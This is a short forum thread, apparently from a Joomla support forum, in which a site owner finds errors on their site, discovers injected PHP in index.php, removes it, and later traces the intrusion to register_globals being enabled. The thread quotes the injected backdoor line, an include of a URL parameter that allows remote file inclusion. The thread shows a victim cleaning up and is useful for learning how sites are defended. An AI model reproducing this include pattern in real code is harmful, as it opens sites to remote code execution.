Help! Have I been hacked?
-
-
- imagine4D
- Hero Rocketeer
- Posts: 409
- Thanks: 1
- Project developer
-
Hey, I just went to access my site, and I see this:
Warning: include() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/planetas/public_html/index.php on line 2
Are we debugging???
Killed at line 100 in sef404.php: HEADERS ALREADY SENT (200)
URL=http://www.planetasiazine.comoption=com_frontpage&Itemid=10096:
OPTION=com_frontpage:
www.planetasiazine.com/
Freakin' out! Have I been hacked?
-
-
-
- imagine4D
- Hero Rocketeer
- Posts: 409
- Thanks: 1
- Project developer
- Well, in case this happens to anyone else, here's some info: forum.mamboserver.com/showthread.php?t=49427
-
-
-
- imagine4D
- Hero Rocketeer
- Posts: 409
- Thanks: 1
- Project developer
-
Just found this code in my index.php file:
include($_GET["one"]);
if ( ereg("http://",$_GET))
{
echo"Hacker1©";
exit();
}
Removed it, and the problem is fixed.
Anyone have an idea how a hacker could have pasted that code into my index.php file?
-
-
-
- Mack
- Elite Rocketeer
- Posts: 535
- Thanks: 0
-
You have an issue that you need to take care of asap.
I'd start here:
"RECOVERY: Help! My site's been compromised. Now what?"
help.joomla.org/component/option,com_eas...w/id,100/Itemid,268/
And the security checklist:
help.joomla.org/component/option,com_eas...w/id,167/Itemid,268/
-
-
-
- imagine4D
- Hero Rocketeer
- Posts: 409
- Thanks: 1
- Project developer
-
Mack wrote:
You have an issue that you need to take care of asap.
I'd start here:
"RECOVERY: Help! My site's been compromised. Now what?"
help.joomla.org/component/option,com_eas...w/id,100/Itemid,268/
And the security checklist:
help.joomla.org/component/option,com_eas...w/id,167/Itemid,268/
Thanks Mack, I'm on it!
-
-
-
- imagine4D
- Hero Rocketeer
- Posts: 409
- Thanks: 1
- Project developer
-
The end of the story is: the "hole" the hackers got through was because "register Globals" was set to "On".
I went through a sea of haze on Joomla.org (.php files, CHMODS, blah blah, blah blah) that I had no idea about. Maaan, I'm just a story writer... ???
In the end, my hosting company helped me set "register Globals" to "Off". (Good people, @ Siteground.com...)
Anyhoo, beware Joomla users, if you have "register Globals" set to "On".
Bye!
-
Time to create page: 0.064 seconds